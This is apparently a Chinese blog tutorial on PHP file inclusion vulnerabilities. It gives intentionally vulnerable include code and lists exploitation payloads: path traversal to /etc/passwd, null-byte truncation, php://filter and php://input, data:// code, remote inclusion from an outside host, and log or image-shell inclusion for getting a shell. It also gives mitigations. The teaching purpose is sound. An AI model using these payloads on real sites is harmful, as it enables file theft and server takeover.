Web安全之文件包含漏洞
什么是文件包含
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件。而无需再次编写,这种 文件调用的过程一般被称为文件包含。
例如:include “conn.php”
PHP中常见包含文件函数
- include()
当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时之给出一个警告,继续向下执行。 - include_once()
功能与Include()相同,区别在于当重复调用同一文件时,程序只调用一次 - require()
require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行。 - require_once()
功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次。
区别
- inlude :包含的文件不存在,程序会继续执行
- require:包含文件不存在,程序停止执行
(如果出现语法错误,两个不会继续执行,如果是找不到这个文件,include继续执行,require,停止执行)
文件包含漏洞原理
文件包含漏洞产生的原因是在通过引入文件时,引用的文件名,用户可控,由于传入的文件名没有经过合理的校验,或者校验被绕过。
常见漏洞代码
if(isset($_GET[page])){include $_GET[page];
}else{include "home.php";
}
文件包含漏洞危害
- 配合文件上传漏洞GetShell
- 可以执行任意脚本代码
- 网站源码文件以及配置文件泄露
- 远程包含GetShell
- 控制整个网站甚至是服务器
文件包含漏洞的分类
- 当被包含的文件在服务器本地时,就形成的本地文件包含漏洞。
- 本地文件包含和远程文件包含造成漏洞的原因是一样的,当php.ini 中的配置选项allow_url_fopen和allow_url_include为ON的话,则包含的文件可以是第三方服务器中的文件,这样就形成了远程文件包含漏洞。
本地文件包含利用
- 上传图片马,包含图片马GetShell
- 读取网站源码以及配置文件
- 包含日志文件GetShell
包含上传图片_001
<?php
if(isset($_GET[page])){include($_GET[page]);
}else{include 'show.php';
}
?>
包含上传图片_002
<?php
if(isset($_GET[page])){include('./action/' . $_GET[page]);
}else{include ./action/show.php';
}
?>
包含上传图片_003
<?php
if(isset($_GET[page])){include('./action/'. $_GET[page] . '.php');
}else{include './action/show.php';
}
?>
%00截断
- /etc/passwd%00
- 需要 magic_quotes_gpc=off,PHP小于5.3.4有效
路径长度截断
- /etc/passwd././././././././././././.[…]/././././././././.
- php版本小于5.2.8可以成功,linux需要文件名长于4096,windows需要长于256
读服务器本地文件
- ?page=…/…/…/…/…/…/…/etc/passwd
读网站源码文件
index.php?page=php://filter/read=convert.base64-encode/resource=index.php
伪协议:
- 直接包含木马文件,可以是图片,txt,压缩包…
- ?page=php://input 接收post请求
需要开启 仅需要开启 allow_url_include - ?page=http://172.18.11.66/0831/1.txt
需要开启 allow_url_fopen,allow_url_include (远程包含) - ?page=php://filter/read=convert.base64-
encode/resource=main.php (读取文件源码) - ?page=data://text/plain,<?php phpinfo();?>
需要开启allow_url_fopen,allow_url_include
包含日志文件GetShell
- 首先 找到日志文件存放位置
- 让日志文件插入PHP代码
- 包含日志文件
远程文件包含利用
包含远程txt文件(php.ini的配置选项allow_url_fopen和allow_url_include为on),远程服务器上存放一个txt文件,或
者不被解析的php文件。(因为包含的时候返回的是php源代码,所以不能被解析)
index.php?page=http://www.xxx.com/1.txt
漏洞挖掘
- 没有通用的挖掘办法
- 特定的CMS,特定的版本可能存在漏洞(include,require)
- Web漏洞扫描器扫描,常见的web漏洞扫描器都支持可以检测。
修复办法
- PHP中使用open_basedir配置限制访问在指定的区域
- 过滤.(点)/(反斜杠)\(反 斜杠)
- 禁止服务器远程文件包含
(allow_url_fopen,allow_url_include,off)
Web安全之文件包含漏洞相关推荐
- Web安全:文件包含漏洞测试(防止 黑客利用此漏洞.)
Web安全:文件包含漏洞测试. 文件包含的漏洞是 程序员在开发网站的时候,为了方便自己开发构架,使用了一些包含的函数(比如:php开发语言,include() , include_once() , ...
- 【web安全】文件包含漏洞
目录 1.什么是文件包含漏洞 2.产生原因 3.文件包含的类型 3.1本地文件包含 3.2远程文件包含 4.攻击利用手法 4.1 file:协议 4.2 php://协议 4.3 zip://,bz ...
- WEB渗透之文件包含漏洞
1.文件包含 1.1原理: 服务器执行的php文件中可能包含木马文件或者恶意代码 1.2漏洞产生原因 1.web采用include()等文件包含函数通过动态变量的方式引入需要包含的文件 静态包含使用i ...
- 【web安全】——文件包含漏洞
作者名:Demo不是emo 主页面链接:主页传送门 创作初心:一切为了她 座右铭:不要让时代的悲哀成为你的悲哀 专研方向:网络安全,数据结构 每日emo:可后来,除了梦以外的地方,我再 ...
- web渗透之文件包含漏洞-学习笔记分享
文件包含 这里偷用一下老师名言:该文章仅用于个人学习与总结.请勿用于未授权的违法攻击!!用户滥用造成的一切后果自负!!学习者请务必遵守当地法律!! 1.首先什么是文件包含. 就是去其他 ...
- ctf-web:文件包含漏洞和举例-HCTF2018 WarmUp
我又回来更新了,这次是关于web方面的文件包含漏洞.我会在后面以详细的角度来写清楚这个漏洞的利用方法. 当然,以下都是我自己的理解,表述什么的都有些野人化了.所以希望各位大佬手下留情. 一.漏洞产生的 ...
- test.php.bak,记一次phpmyadmin 4.8.1 远程文件包含漏洞(BUUCTF web)
题目很简单,一个滑稽 打开源码,发现存在source.php文件 于是访问文件,发现出现一串php源码 提示存在hint.php,于是访问发现一句话 flag not here, and flag i ...
- Web安全——文件包含漏洞
一.文件包含漏洞 原理 文件包含漏洞是"代码注入"的一种.其原理就是注入一段用户能控制的脚本或代码,并让服务端执行."代码注入"的典型代表就是文件包含. ...
- WEB漏洞—文件包含漏洞
介绍 所谓文件包含漏洞,故名思意,就是在文件中包含(引用)了其他文件所导致的漏洞.例如有些函数在不同代码中的作用都是相同的,在这里我们可以称呼它为"变量",那么这时程序员就会将该& ...
最新文章
- 托马斯·弗里德曼:美政府应研究任正非的提议
- An error occurred during the file system check
- Android 如何有效的解决内存泄漏的问题
- 在source insight 中添加系统字体
- java的自增自减_Java中自增和自减操作符(++/--)的那些事
- python处理中文字符串_python字符串中的中文处理
- canvas笔记-canvas加载图片及放缩及加水印(两canvas同时使用)
- jQuery bind事件练习及tab标签切换的实现
- GitBook是一个命令行工具(Node.js库),我们可以借用该工具使用Github/Git和Markdown来制作精美的图书,但它并不是一本关于Git的教程哟。...
- unity直播推流方式_【技术猩球】从方案架构分析秀场直播的四种实现方式
- 堆排序时间复杂度_leetcode刷题(二):排序算法(归并排序,堆排序,桶排序)...
- 整理读研期间用过、改进过、写过的代码
- linux下添加vnc
- 关于电感开始饱和,开关过应力时开关的电流曲线的解释// 《精通开关电源设计》P53 图2-7
- 怎么用计算机解方程,计算器怎么解方程
- 2、宽带Doherty放大器ADS仿真(带版图)
- SecureCRT信号灯超时时间已到
- hp 服务器 修复,Hp服务器 raid 磁盘故障数据库数据恢复过程
- web服务器硬件软件配置选择
- 服务器维修报告单,服务器维修报告.pdf
热门文章
- 阻燃防火电缆在数据中心建设中的应用
- n平方的求和公式_素数求和公式!!!(操作测试)
- 小米机器人虚拟墙设置_扫地机器人虚拟墙应该怎么放置使用
- 成功解决AttributeError: ‘NoneType‘ object has no attribute ‘shape‘
- ML之xgboost:绘制xgboost的二叉树graphviz的两种方法代码实现
- CV:基于深度学习实现目标检测之GUI界面产品设计并实现图片识别、视频识别、摄像头识别(准确度非常高)
- CV之YOLOv3:深度学习之计算机视觉神经网络Yolov3-5clessses训练自己的数据集全程记录
- docker学习------centos7.5下的swarm集群可视化构建
- dede_arctype|栏目表
- WebBrowser页面与WinForm交互技巧